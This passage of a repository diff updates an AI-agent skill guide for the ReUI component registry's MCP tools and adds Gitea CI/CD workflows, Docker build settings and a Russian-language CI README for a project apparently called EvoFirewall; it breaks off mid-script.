Each result has `install`, `previewUrl`, `docsUrl`, `componentsUsed`, `score`, `termCoverage`, and `whyMatch`. `score` is relative to the top hit (the top is ~100 by construction), not an absolute quality - compare results to each other, and show the user the top options if several score closely; do not silently guess. A low `termCoverage` means a weak match even with a high score - rephrase or widen.
|
||||
|
||||
**Always show the preview link.** Whenever you list or recommend items - from `search`, `search_icons`, `list_components`, `compose_page`, or a getter - include each item's `previewUrl` (a live preview page) so the user can SEE it before you install. Blocks and examples link to an individual live preview; icons and components to their live category/component page. This applies to every listing, not only a single pick.
|
||||
Results are scoped to the account's plan, so you are never shown an item the user could not install: blocks need Pro, Motion Icons need Ultimate. A `type` hint the plan cannot use (or a query whose only matches are premium) comes back as a normal HTTP 200 answer with `locked: true` and `requiredPlan` rather than results - that is a paywall, not a missing item, so switch to free components and `c-*` examples and mention https://reui.io/pricing?ref=skill.
|
||||
|
||||
**Always show the preview link.** Whenever you list or recommend items - from `search`, `search_icons`, `list_components`, `compose_page`, or a getter - include each item's `previewUrl` (a live preview page) so the user can SEE it before you install. Blocks and examples link to an individual live preview; icons and components to their live category/component page. This applies to every listing, not only a single pick. Where a result carries `thumbnail` (blocks and `c-*` examples), show the image itself as markdown linked to `previewUrl`, so the user sees the block before you install it.
|
||||
|
||||
## 2. Install (shadcn CLI)
|
||||
|
||||
@@ -32,7 +34,7 @@ The CLI reads `components.json`, installs the correct base+style variant, resolv
|
||||
|
||||
Before writing code against any component an item uses:
|
||||
|
||||
1. The item's `componentDigests` already give a 1-line contract per component - often enough to wire it. For the full API, call **`get_component(names)`** with ALL of `componentsUsed` in ONE call (it accepts an array) and read each inline `api` - no web fetch. **Share the component's `docsUrl`** (its API documentation page) with the user whenever you work with that component's API, so they have the full reference; the `/llms.txt` index is a further fallback.
|
||||
1. The item's `componentDigests` already give a 1-line contract per component - often enough to wire it. For the deeper API, call **`get_component(names)`** with ALL of `componentsUsed` in ONE call (it accepts an array) and read each inline `api` - no web fetch. A very large API is trimmed on heading boundaries to fit your context and lists what it dropped in `sectionsOmitted`; when the part you need is in that list, re-read it as the response's `next` hint says rather than guessing. `validate_usage` always checks the FULL API, so it still catches a prop you invented from a trimmed capsule. **Share the component's `docsUrl`** (its API documentation page) with the user whenever you work with that component's API, so they have the full reference; the `/llms.txt` index is a further fallback.
|
||||
2. Call **`get_examples(name)`** for the free `c-*` examples of that component; install one and **read the added files** to copy the exact composition. This is the fastest correct path - the example shows real wiring you adapt, not invent.
|
||||
3. About to write a prop you did not see in an `api` or installed file? Run **`validate_usage`** BEFORE writing the code - per-prop documented / notDocumented verdicts plus did-you-mean suggestions. notDocumented means read the API, not push on.
|
||||
|
||||
|
||||
@@ -16,15 +16,15 @@ If you already know the exact item name, skip `search`. Everything else is situa
|
||||
|
||||
## The 5 task-specific tools (when to reach for each)
|
||||
|
||||
- **`compose_page`** - BEFORE building any full page (dashboard, settings, billing, landing). Pass the intent (and optionally the sections you want); it returns ordered sections, each with the best premium block for the intent (top pick + alternates). Sections with no real inventory are listed honestly in `unavailableSections` - compose those from components instead of forcing a bad block.
|
||||
- **`search_icons`** - whenever you need icons, especially several. Batch up to 24 concepts in one call; each concept returns its best icons with install commands. Pass `animated: true` to get only icons that have a hover-animated Motion variant.
|
||||
- **`compose_page`** - BEFORE building any full page (dashboard, settings, billing, landing). Pass the intent (and optionally the sections you want); it returns ordered sections, each with the best premium block for the intent (top pick + alternates). On a free account (or in free-only mode) it answers with `mode: "free"` and composes the same sections from free `c-*` examples instead, so the plan is always buildable. Sections with no real inventory are listed honestly in `unavailableSections` - compose those from components instead of forcing a bad block.
|
||||
- **`search_icons`** - whenever you need icons, especially several. Batch up to 24 concepts in one call; each concept returns its best icons with install commands. Pass `animated: true` to get only icons that have a hover-animated Motion variant. Motion Icons are Ultimate for **discovery as well as install**: without an Ultimate credential this returns `locked: true` and zero concepts, so check the plan before promising the user icons.
|
||||
- **`validate_usage`** - BEFORE writing code with component names or props you have not read in an inline `api` or an installed example. It checks planned names + props against the indexed API docs and registry item names; returns did-you-mean suggestions and per-prop documented / notDocumented verdicts. Deterministic, no inference - a notDocumented prop means stop and read the API, not push on.
|
||||
- **`whats_new`** - when your registry knowledge might be stale (a name 404s, the user mentions an item you don't know). Returns items added/removed per build, newest first.
|
||||
- **`report_issue`** - when an installed item is actually broken (bad source, wrong dependency, broken preview). Goes straight to the ReUI team; rate-limited 5/hour. Not for usage questions.
|
||||
- **`get_thumbnail`** - when the choice is VISUAL and the ranking has not already made it: 2 or more candidates within about 15 score points. When the top hit leads by a wide margin, or `missedTerms` already rules the others out, skip it; an image costs roughly 10 times a result row. It returns the hosted preview image as image content so you can look yourself; pass up to 4 names in one call to compare `compose_page` alternates side by side before installing any of them. To let the USER see something, share the item's `thumbnail` and `previewUrl` instead - this tool is for your own eyes, and a client that cannot render images gets the URLs in the text block.
|
||||
- **`get_agent_skill`** - when the agent has no local ReUI skill (a cloud or tools-only client), or to check whether the installed one is stale: it returns the current workflow inline plus the installer command, and its `version` can be compared with the version stamped at the top of your local `SKILL.md`.
|
||||
|
||||
## All 19 tools
|
||||
|
||||
`search`, `get_block`, `get_example`, `get_icon`, `list_block_groups`, `list_block_categories`, `list_example_categories`, `list_icon_categories`, `list_components`, `get_component`, `get_examples`, `search_icons`, `compose_page`, `validate_usage`, `whats_new`, `report_issue`, `get_install_command`, `get_project_context`, `get_audit_checklist`. The MCP serves the full parameter schemas; do not guess parameters beyond them.
|
||||
`search`, `get_block`, `get_example`, `get_icon`, `get_thumbnail`, `list_block_groups`, `list_block_categories`, `list_example_categories`, `list_icon_categories`, `list_components`, `get_component`, `get_examples`, `search_icons`, `compose_page`, `validate_usage`, `get_install_command`, `get_project_context`, `get_agent_skill`, `get_audit_checklist`. The MCP serves the full parameter schemas; do not guess parameters beyond them.
|
||||
|
||||
## Token + speed rules
|
||||
|
||||
@@ -41,18 +41,24 @@ If you already know the exact item name, skip `search`. Everything else is situa
|
||||
- `termCoverage` (0-1) is the share of the query the item matched - low means a weak match even if the score looks high; rephrase or widen the search.
|
||||
- Each result carries `whyMatch`, `install`, docs/preview URLs, and a `free` flag; premium items carry `requiredPlan` (`"pro"` for blocks, `"ultimate"` for icons).
|
||||
- `componentDigests` is a top-level map: a compact API contract per referenced component - often enough to wire an item without a `get_component` call.
|
||||
- An inline `api` is not always the whole API: a very large one is trimmed on heading boundaries to fit your context, and the response names every dropped heading in `sectionsOmitted` plus a `next` hint for re-reading one. Never treat a trimmed capsule as complete; `validate_usage` still checks the FULL API.
|
||||
- Icon results and `get_icon` include `animated: true` and `installAnimated` when a hover-animated Motion variant exists (animated: `@reui/icons/animated/<style>/<name>`; static: `@reui/icons/default/<style>/<name>`).
|
||||
- Blocks and `c-*` examples carry `thumbnail`, an absolute URL to a hosted preview image (3:2; blocks 1080x720, examples 900x600, light theme). Show the top 2 or 3 as markdown images linked to `previewUrl` so the user picks by eye; use `get_thumbnail` when YOU need to see them. Components and icons have no thumbnail.
|
||||
- Each result carries `missedTerms`, the words from YOUR query it does not mention (omitted when it matches them all). A high score with 3 missed words is a near miss wearing a good score: read this before `get_thumbnail`, it is far cheaper.
|
||||
- `weakMatch: true` means the top result misses more of the query's words than it matches; `unmatchedTerms` lists the words none of the top results mention and `weakMatchNote` says what to do. Stop and re-search with the registry's own words, or compose from components, instead of installing the top hit.
|
||||
- On a free account `premiumPicks` (a sibling of `results`, never inside it) lists up to 3 premium blocks that fit the query more closely than the free answer, as previews with no install command, plus `unlock` with the plan and a pricing link. Mention the upgrade at most once per conversation, then keep building with what the plan covers. `weakMatch` and `premiumPicks` can appear together: the free answer is weak AND a premium block fits; `weakMatchNote` says so.
|
||||
- Results are scoped to the caller's plan, so a free account never sees a block or icon it could not install. When a search matches only hidden premium items, the answer says so (`locked`, `requiredPlan`, `premiumMatches`) instead of pretending the registry is empty.
|
||||
|
||||
## Error playbook
|
||||
|
||||
- **401** - the MCP requires a signed-in ReUI account. The client prompts "Sign in with ReUI" (OAuth) on first use; a free account is created if needed. For headless/CI, pass a personal token (`reui_pat_...`, created at https://reui.io/account/mcp) as `Authorization: Bearer`.
|
||||
- **403 / locked result** - a valid account but the plan does not cover the item: premium blocks need Pro, Motion Icons need Ultimate. Point to https://reui.io/pricing (upgrade). Free accounts still get all components + examples.
|
||||
- **429** - rate limited (120 requests/min per IP); back off, honor `Retry-After`.
|
||||
- **not found** (`found: false`) - use the returned `suggestions`, or `search`; check `whats_new` if you suspect a stale name. Never run a fabricated install command.
|
||||
- **401** - the MCP requires a signed-in ReUI account, on every request (there is no anonymous access). The client prompts "Sign in with ReUI" (OAuth) on first use; a free account is created if needed. For headless/CI, pass a personal token (`reui_pat_...`, created at https://reui.io/account/mcp?ref=skill) as `Authorization: Bearer`.
|
||||
- **locked result** - a valid account whose plan does not cover the item. This is NOT an error and NOT a 403: it comes back as a normal HTTP 200 result carrying `locked: true` and `requiredPlan` (`"pro"` for premium blocks, `"ultimate"` for Motion Icons). Keep working with the free components and `c-*` examples, and point the user at https://reui.io/pricing?ref=skill if they want the locked item.
|
||||
- **daily allowance reached** - a free account has a per-account, per-UTC-day allowance on tool calls (ReUI sets the number and can change it, so read it from the message and never assume one). It comes back as a normal tool RESULT with `isError: true` at HTTP 200: not an HTTP error status, no back-off header to honor, and no per-minute limit to wait out. Retrying the same call just spends the next unit, so surface the message (it carries the reset and the upgrade link) to the user instead of looping. The count resets at UTC midnight, and using a Pro or Ultimate license as the MCP credential removes the limit.
|
||||
- **not found** (`found: false`) - use the returned `suggestions`, or `search`. Never run a fabricated install command.
|
||||
|
||||
## Fallbacks
|
||||
|
||||
- No ReUI MCP: `npx shadcn@latest search @reui -q "..."` then `add` (generic, no scoring / inline API).
|
||||
- The shadcn project's own MCP also works over the `@reui` registry: https://ui.shadcn.com/docs/mcp.
|
||||
|
||||
Per-agent MCP setup: https://reui.io/docs/mcp
|
||||
Per-agent MCP setup: https://reui.io/docs/mcp?ref=skill
|
||||
@@ -0,0 +1,48 @@
|
||||
# Build context = repository root (deploy/docker/docker-bake.hcl).
|
||||
.git
|
||||
.gitea
|
||||
.github
|
||||
.cursor
|
||||
.claude
|
||||
.codegraph
|
||||
.agents
|
||||
memory-bank
|
||||
.vscode
|
||||
.idea
|
||||
|
||||
**/.DS_Store
|
||||
**/Thumbs.db
|
||||
**/.env
|
||||
**/.env.*
|
||||
!**/.env.example
|
||||
!**/.env.*.example
|
||||
|
||||
node_modules
|
||||
**/node_modules
|
||||
**/dist
|
||||
apps/web/src/routeTree.gen.ts
|
||||
apps/web/test-results
|
||||
|
||||
*.md
|
||||
AGENTS.md
|
||||
CONTRIBUTING.md
|
||||
LICENSE
|
||||
docs
|
||||
|
||||
.releaserc.json
|
||||
.commitlintrc.*
|
||||
commitlint.config.cjs
|
||||
redocly.yaml
|
||||
package-lock.json
|
||||
|
||||
data
|
||||
*.exe
|
||||
**/*.test.ts
|
||||
**/*.spec.ts
|
||||
coverage
|
||||
.coverage
|
||||
*.out
|
||||
.release-version
|
||||
CHANGELOG.md
|
||||
deploy/docker/docker-bake.override.hcl
|
||||
deploy/compose/runtime-logs
|
||||
@@ -24,3 +24,12 @@ REUI_LICENSE_KEY=
|
||||
|
||||
# Server
|
||||
SERVER_PORT=8080
|
||||
|
||||
# Security hardening (prod)
|
||||
# В prod (NODE_ENV=production) сервер откажется стартовать без AUTH_REQUIRED=true
|
||||
# и реальных секретов; EVOFW_ALLOW_UNSAFE=true — явный opt-out для изолированных стендов.
|
||||
# EVOFW_ALLOW_UNSAFE=false
|
||||
# Разрешённые CORS-origins через запятую; пусто = только same-origin
|
||||
# CORS_ORIGINS=https://fw.example.com
|
||||
# Ключ для шифрования секретов в БД (AES-256-GCM, напр. токен EvoBGP); пусто = без шифрования
|
||||
# EVOFW_SECRET_KEY=
|
||||
@@ -0,0 +1,80 @@
|
||||
# Gitea Actions
|
||||
|
||||
| Workflow | Когда | Что |
|
||||
|----------|--------|-----|
|
||||
| [workflows/ci.yaml](workflows/ci.yaml) | pull request в main/master | quality gates + commitlint |
|
||||
| [workflows/cd.yaml](workflows/cd.yaml) | push в main/master | quality gates + semantic-release + docker push |
|
||||
| [workflows/quality.yaml](workflows/quality.yaml) | reusable (`workflow_call`) | changes, openapi, web, api, commitlint, docker-check |
|
||||
|
||||
Подробнее: [docs/releasing.md](../docs/releasing.md).
|
||||
|
||||
## CI (quality gates)
|
||||
|
||||
Job **changes** вычисляет флаги по путям в diff. Полный прогон: `.gitea/workflows/*`, `scripts/*`, корневой `package.json` / `pnpm-lock.yaml` / `.releaserc.json`. Правки `.cursor/`, `.claude/`, `*.md` (кроме `docs/openapi.yaml`) quality jobs не запускают.
|
||||
|
||||
На **pull request** — **commitlint**. При изменении `deploy/docker/**` / `.dockerignore` — job **docker-check** (`bake --print`, bake без `--push` если есть доступ к registry).
|
||||
|
||||
Кэш зависимостей — нативный `actions/cache` (cache server act_runner), ключ `sha256sum` lockfile (не `hashFiles`). Пути **абсолютные** (`$HOME/.pnpm-store`): тильда `~` на Gitea часто не раскрывается и даёт вечный miss.
|
||||
|
||||
Кэшируется целиком: pnpm store + `node_modules` + corepack. При hit: `pnpm install --offline`.
|
||||
|
||||
Если restore пишет `connect ECONNREFUSED` / `cache server not configured` — на runner включите cache server (см. ниже). Иначе каждый job снова качает пакеты (~минуты).
|
||||
|
||||
Runner: `ubuntu-latest`, Docker для **docker-check** (PR) и **publish** (CD).
|
||||
|
||||
## CD (job publish)
|
||||
|
||||
После успешных quality gates на **push в main** job **publish**:
|
||||
|
||||
1. `pnpm exec semantic-release` — тег `vX.Y.Z` на **текущий commit** (без дополнительного commit в main).
|
||||
2. Gitea Release + `CHANGELOG.md` как attachment (не в git).
|
||||
3. Зеркало base-образов в `evofw-buildcache:base-*` (`deploy/docker/mirror-base-images.sh`; skip существующих тегов, `linux/amd64`, retry при 429).
|
||||
4. `docker buildx bake default --push` с `VERSION=X.Y.Z`, `pull=false`, named builder `evofw` (`cleanup: false`).
|
||||
|
||||
Если releasable-коммитов нет — semantic-release no-op, образы не публикуются.
|
||||
|
||||
Повтор упавшего **publish** (тег уже есть, bake нет): detect берёт `v*` на `HEAD` и всё равно пушит образы. Подробнее: [docs/releasing.md](../docs/releasing.md#перезапуск-упавшего-job-publish).
|
||||
|
||||
### Секреты
|
||||
|
||||
**`ACTIONS_PAT`**: push tags, releases, Container Registry. Для git tag fallback: `github.token`. Push OCI — **только PAT** (у `GITEA_TOKEN` нет права packages).
|
||||
|
||||
### Теги образов
|
||||
|
||||
```text
|
||||
git.shx.one/<owner>/evofw:latest
|
||||
git.shx.one/<owner>/evofw:v1.2.3
|
||||
git.shx.one/<owner>/evofw:1.2.3
|
||||
git.shx.one/<owner>/evofw:<short-sha>
|
||||
git.shx.one/<owner>/evofw:sha-<full-sha>
|
||||
```
|
||||
|
||||
Тот же манифест публикуется как `evofirewall` (drop-in для старого compose).
|
||||
|
||||
Кэш сборки: `evofw-buildcache:node-buildcache` и `evofw-buildcache:base-*`.
|
||||
|
||||
Пример:
|
||||
|
||||
```bash
|
||||
docker pull git.shx.one/denozord/evofw:1.2.3
|
||||
```
|
||||
|
||||
См. [deploy/docker/README.md](../deploy/docker/README.md).
|
||||
|
||||
## act_runner: cache server
|
||||
|
||||
`actions/cache` ходит в **встроенный cache server** runner (не GitHub `type=gha`). Кэш локален для этого runner.
|
||||
|
||||
В `config.yaml` runner:
|
||||
|
||||
```yaml
|
||||
cache:
|
||||
enabled: true
|
||||
dir: "" # по умолчанию $HOME/.cache/actcache
|
||||
host: "" # IP, доступный из job-контейнера (не 0.0.0.0)
|
||||
port: 8088
|
||||
```
|
||||
|
||||
Если runner в Docker, а jobs — отдельные контейнеры: пробросьте порт и задайте `host` (LAN IP хоста) или `external_server: "http://<host>:8088/"`. Иначе restore — timeout/ECONNREFUSED и пакеты качаются снова.
|
||||
|
||||
Не делайте `docker system prune -a` по cron: сотрётся и Docker-кэш FROM, и пользы от `cleanup: false` у buildx не будет.
|
||||
@@ -0,0 +1,149 @@
|
||||
name: CD
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [main, master]
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
quality:
|
||||
uses: ./.gitea/workflows/quality.yaml
|
||||
with:
|
||||
is_pull_request: false
|
||||
before_sha: ${{ github.event.before }}
|
||||
head_sha: ${{ github.sha }}
|
||||
allow_registry_login: false
|
||||
secrets:
|
||||
ACTIONS_PAT: ${{ secrets.ACTIONS_PAT }}
|
||||
|
||||
publish:
|
||||
needs: [quality]
|
||||
if: >-
|
||||
always() &&
|
||||
(github.ref == 'refs/heads/main' || github.ref == 'refs/heads/master') &&
|
||||
needs.quality.result == 'success'
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: write
|
||||
packages: write
|
||||
releases: write
|
||||
steps:
|
||||
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
|
||||
with:
|
||||
fetch-depth: 0
|
||||
fetch-tags: true
|
||||
token: ${{ secrets.ACTIONS_PAT || gitea.token }}
|
||||
persist-credentials: true
|
||||
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
|
||||
with:
|
||||
node-version: "22"
|
||||
- name: Export cache paths
|
||||
run: sh scripts/ci/export-cache-env.sh
|
||||
- id: pnpm-hash
|
||||
run: echo "key=$(sha256sum pnpm-lock.yaml | awk '{print $1}')" >> "$GITHUB_OUTPUT"
|
||||
- id: pnpm-cache
|
||||
uses: actions/cache@5a3ec84eff668545956fd18022155c47e93e2684 # v4.2.3
|
||||
with:
|
||||
path: |
|
||||
${{ env.PNPM_STORE_DIR }}
|
||||
${{ env.COREPACK_HOME }}
|
||||
node_modules
|
||||
apps/web/node_modules
|
||||
apps/api/node_modules
|
||||
packages/ui/node_modules
|
||||
packages/shared/node_modules
|
||||
packages/db/node_modules
|
||||
key: pnpm-${{ runner.os }}-${{ steps.pnpm-hash.outputs.key }}
|
||||
restore-keys: |
|
||||
pnpm-${{ runner.os }}-
|
||||
- name: Install release tooling
|
||||
env:
|
||||
PNPM_CACHE_HIT: ${{ steps.pnpm-cache.outputs.cache-hit }}
|
||||
run: sh scripts/ci/pnpm-ci.sh
|
||||
- name: Verify releasable commit messages
|
||||
run: pnpm exec node scripts/commit/verify-release-commits.mjs
|
||||
- name: Semantic release
|
||||
run: pnpm exec semantic-release
|
||||
env:
|
||||
GITEA_URL: https://git.shx.one
|
||||
GITEA_TOKEN: ${{ secrets.ACTIONS_PAT || gitea.token }}
|
||||
- name: Detect new release
|
||||
id: rel
|
||||
run: |
|
||||
set -euo pipefail
|
||||
version=""
|
||||
if [ -f .release-version ]; then
|
||||
version="$(tr -d '[:space:]' < .release-version)"
|
||||
echo "New release from semantic-release: $version"
|
||||
else
|
||||
git fetch --tags --force origin || true
|
||||
tag="$(git tag --points-at HEAD --list 'v*.*.*' | sort -V | tail -n1 || true)"
|
||||
if [ -n "${tag:-}" ]; then
|
||||
version="${tag#v}"
|
||||
echo "Reuse existing tag $tag on HEAD (release retry)"
|
||||
fi
|
||||
fi
|
||||
if [ -n "${version:-}" ]; then
|
||||
echo "version=$version" >> "$GITHUB_OUTPUT"
|
||||
echo "released=true" >> "$GITHUB_OUTPUT"
|
||||
else
|
||||
echo "released=false" >> "$GITHUB_OUTPUT"
|
||||
echo "No releasable commits — skipping image publish"
|
||||
fi
|
||||
- name: Set up Docker Buildx
|
||||
if: steps.rel.outputs.released == 'true'
|
||||
uses: docker/setup-buildx-action@e468171a9de216ec08956ac3ada2f0791b6bd435 # v3.11.1
|
||||
with:
|
||||
name: evofw
|
||||
driver: docker-container
|
||||
cleanup: false
|
||||
- name: Prepare image metadata
|
||||
if: steps.rel.outputs.released == 'true'
|
||||
id: meta
|
||||
run: |
|
||||
set -euo pipefail
|
||||
echo "version=${{ steps.rel.outputs.version }}" >> "$GITHUB_OUTPUT"
|
||||
owner_lc="$(echo '${{ github.repository_owner }}' | tr '[:upper:]' '[:lower:]')"
|
||||
echo "owner_lc=$owner_lc" >> "$GITHUB_OUTPUT"
|
||||
short_sha="$(echo '${{ github.sha }}' | cut -c1-7)"
|
||||
echo "short_sha=$short_sha" >> "$GITHUB_OUTPUT"
|
||||
echo "build_time=$(date -u +%Y-%m-%dT%H:%M:%SZ)" >> "$GITHUB_OUTPUT"
|
||||
- name: Log in to Gitea Registry
|
||||
if: steps.rel.outputs.released == 'true'
|
||||
uses: docker/login-action@74a5d142397b4f367a81961eba4e8cd7edddf772 # v3.4.0
|
||||
with:
|
||||
registry: git.shx.one
|
||||
username: ${{ gitea.actor }}
|
||||
password: ${{ secrets.ACTIONS_PAT }}
|
||||
- name: Mirror base images into buildcache
|
||||
if: steps.rel.outputs.released == 'true'
|
||||
env:
|
||||
REGISTRY: git.shx.one/${{ steps.meta.outputs.owner_lc }}
|
||||
MIRROR_ENV_FILE: ${{ runner.temp }}/mirror-base.env
|
||||
run: sh deploy/docker/mirror-base-images.sh
|
||||
- name: Build and push images (bake)
|
||||
if: steps.rel.outputs.released == 'true'
|
||||
env:
|
||||
REGISTRY: git.shx.one/${{ steps.meta.outputs.owner_lc }}
|
||||
IMAGE_TAG: latest
|
||||
VERSION: ${{ steps.meta.outputs.version }}
|
||||
SHORT_SHA: ${{ steps.meta.outputs.short_sha }}
|
||||
SHA_FULL: ${{ github.sha }}
|
||||
BUILD_TIME: ${{ steps.meta.outputs.build_time }}
|
||||
CACHE_REF_NODE: git.shx.one/${{ steps.meta.outputs.owner_lc }}/evofw-buildcache:node-buildcache
|
||||
BUILDX_BAKE_ENTITLEMENTS_FS: "0"
|
||||
BUILDX_BAKE_FILE_RELATIVE_PATHS: "1"
|
||||
MIRROR_ENV_FILE: ${{ runner.temp }}/mirror-base.env
|
||||
working-directory: deploy/docker
|
||||
run: |
|
||||
set -euxo pipefail
|
||||
if [ -f "${MIRROR_ENV_FILE}" ]; then
|
||||
set -a
|
||||
# shellcheck disable=SC1090
|
||||
. "${MIRROR_ENV_FILE}"
|
||||
set +a
|
||||
fi
|
||||
docker buildx bake --allow=fs.read="${{ github.workspace }}" \
|
||||
-f docker-bake.hcl default --push
|
||||
@@ -0,0 +1,23 @@
|
||||
name: CI
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
branches: [main, master]
|
||||
|
||||
concurrency:
|
||||
group: ci-${{ github.workflow }}-${{ github.ref }}
|
||||
cancel-in-progress: true
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
quality:
|
||||
uses: ./.gitea/workflows/quality.yaml
|
||||
with:
|
||||
is_pull_request: true
|
||||
base_sha: ${{ github.event.pull_request.base.sha }}
|
||||
head_sha: ${{ github.event.pull_request.head.sha }}
|
||||
allow_registry_login: ${{ github.event.pull_request.head.repo.full_name == github.repository }}
|
||||
secrets:
|
||||
ACTIONS_PAT: ${{ secrets.ACTIONS_PAT }}
|
||||
@@ -1,100 +0,0 @@
|
||||
name: Build and Push EvoFirewall Docker Image
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [main, develop, 'feature/**', 'release/**', 'hotfix/**']
|
||||
tags: ['v*']
|
||||
paths: ['**']
|
||||
pull_request:
|
||||
branches: [main, develop]
|
||||
paths: ['**']
|
||||
|
||||
jobs:
|
||||
build-and-push:
|
||||
if: startsWith(gitea.ref, 'refs/tags/v') || (gitea.ref_name == 'main' && gitea.event_name == 'push')
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
|
||||
- name: Login to Gitea Registry
|
||||
uses: docker/login-action@v3
|
||||
with:
|
||||
registry: git.shts.su
|
||||
username: ${{ gitea.actor }}
|
||||
password: ${{ secrets.ACTIONS_PAT }}
|
||||
|
||||
- name: Create version file
|
||||
run: |
|
||||
VERSION=$(cat VERSION)
|
||||
BUILD_DATE=$(date -u +'%Y-%m-%dT%H:%M:%SZ')
|
||||
BRANCH="${{ gitea.ref_name }}"
|
||||
echo "APP_VERSION=${VERSION}" > ./version.txt
|
||||
echo "BUILD_DATE=${BUILD_DATE}" >> ./version.txt
|
||||
echo "GIT_BRANCH=${BRANCH}" >> ./version.txt
|
||||
echo "GIT_COMMIT=${{ gitea.sha }}" >> ./version.txt
|
||||
echo "GIT_COMMIT_SHORT=$(echo ${{ gitea.sha }} | cut -c1-7)" >> ./version.txt
|
||||
echo "BUILD_TIMESTAMP=$(date -u +%s)" >> ./version.txt
|
||||
|
||||
# Docker registry refs must be lowercase (repo name is EvoFirewall).
|
||||
- name: Lowercase image repository
|
||||
id: image
|
||||
run: echo "repo=$(echo '${{ gitea.repository }}' | tr '[:upper:]' '[:lower:]')" >> "$GITHUB_OUTPUT"
|
||||
|
||||
- name: Docker meta
|
||||
id: meta
|
||||
uses: docker/metadata-action@v5
|
||||
with:
|
||||
images: git.shts.su/${{ steps.image.outputs.repo }}
|
||||
tags: |
|
||||
type=semver,pattern={{version}}
|
||||
type=raw,value=latest,enable=${{ gitea.ref_name == 'main' }}
|
||||
type=sha,prefix={{date 'YYYYMMDD'}}-,enable=${{ gitea.ref_name == 'main' }}
|
||||
|
||||
- name: Build and push Docker image
|
||||
uses: docker/build-push-action@v5
|
||||
with:
|
||||
context: .
|
||||
file: ./Dockerfile
|
||||
push: true
|
||||
tags: ${{ steps.meta.outputs.tags }}
|
||||
labels: ${{ steps.meta.outputs.labels }}
|
||||
build-args: |
|
||||
NODE_VERSION=22.23.0-bookworm-slim
|
||||
cache-from: type=registry,ref=git.shts.su/${{ steps.image.outputs.repo }}:buildcache
|
||||
cache-to: type=registry,ref=git.shts.su/${{ steps.image.outputs.repo }}:buildcache,mode=max
|
||||
provenance: true
|
||||
|
||||
create-release:
|
||||
needs: build-and-push
|
||||
if: startsWith(gitea.ref, 'refs/tags/v')
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Generate changelog
|
||||
id: changelog
|
||||
run: |
|
||||
LAST_TAG=$(git describe --tags --abbrev=0 HEAD^ 2>/dev/null || echo "")
|
||||
if [[ -n "$LAST_TAG" ]]; then
|
||||
CHANGELOG=$(git log --pretty=format:"- %s (%h)" ${LAST_TAG}..HEAD)
|
||||
else
|
||||
CHANGELOG=$(git log --pretty=format:"- %s (%h)" -n 20)
|
||||
fi
|
||||
echo "CHANGELOG<<EOF" >> $GITHUB_OUTPUT
|
||||
echo "$CHANGELOG" >> $GITHUB_OUTPUT
|
||||
echo "EOF" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Create Gitea Release
|
||||
run: |
|
||||
curl -X POST \
|
||||
-H "Authorization: token ${{ secrets.GITEA_TOKEN }}" \
|
||||
-H "Content-Type: application/json" \
|
||||
"https://git.shts.su/api/v1/repos/${{ gitea.repository }}/releases" \
|
||||
-d "{\"tag_name\":\"${{ gitea.ref_name }}\",\"name\":\"${{ gitea.ref_name }}\",\"body\":$(echo '${{ steps.changelog.outputs.CHANGELOG }}' | jq -Rs .)}"
|
||||
@@ -0,0 +1,348 @@
|
||||
# Quality gates (reusable). Callers: ci.yaml (PR), cd.yaml (push main).
|
||||
name: quality
|
||||
|
||||
on:
|
||||
workflow_call:
|
||||
inputs:
|
||||
is_pull_request:
|
||||
type: boolean
|
||||
required: true
|
||||
base_sha:
|
||||
type: string
|
||||
required: false
|
||||
default: ""
|
||||
head_sha:
|
||||
type: string
|
||||
required: false
|
||||
default: ""
|
||||
before_sha:
|
||||
type: string
|
||||
required: false
|
||||
default: ""
|
||||
allow_registry_login:
|
||||
type: boolean
|
||||
required: false
|
||||
default: false
|
||||
secrets:
|
||||
ACTIONS_PAT:
|
||||
required: false
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
changes:
|
||||
runs-on: ubuntu-latest
|
||||
outputs:
|
||||
openapi: ${{ steps.detect.outputs.openapi }}
|
||||
web: ${{ steps.detect.outputs.web }}
|
||||
api: ${{ steps.detect.outputs.api }}
|
||||
docker: ${{ steps.detect.outputs.docker }}
|
||||
steps:
|
||||
- if: ${{ inputs.is_pull_request }}
|
||||
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
|
||||
with:
|
||||
fetch-depth: 0
|
||||
- if: ${{ inputs.is_pull_request == false }}
|
||||
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
|
||||
with:
|
||||
# Full history: before_sha may be many commits behind the new tip
|
||||
# (multi-commit pushes) and must exist locally for git diff.
|
||||
fetch-depth: 0
|
||||
- id: detect
|
||||
name: Detect changed paths per module
|
||||
env:
|
||||
IS_PR: ${{ inputs.is_pull_request }}
|
||||
BASE_SHA: ${{ inputs.base_sha }}
|
||||
HEAD_SHA: ${{ inputs.head_sha }}
|
||||
BEFORE_SHA: ${{ inputs.before_sha }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
|
||||
openapi=false
|
||||
web=false
|
||||
api=false
|
||||
docker=false
|
||||
|
||||
set_all_flags_true() {
|
||||
openapi=true
|
||||
web=true
|
||||
api=true
|
||||
docker=true
|
||||
}
|
||||
|
||||
write_outputs() {
|
||||
for v in openapi web api docker; do
|
||||
eval "echo \"\$v=\$$v\"" >> "$GITHUB_OUTPUT"
|
||||
done
|
||||
}
|
||||
|
||||
if [ "$IS_PR" = "true" ]; then
|
||||
FILES="$(git diff --name-only "$BASE_SHA" "$HEAD_SHA")"
|
||||
else
|
||||
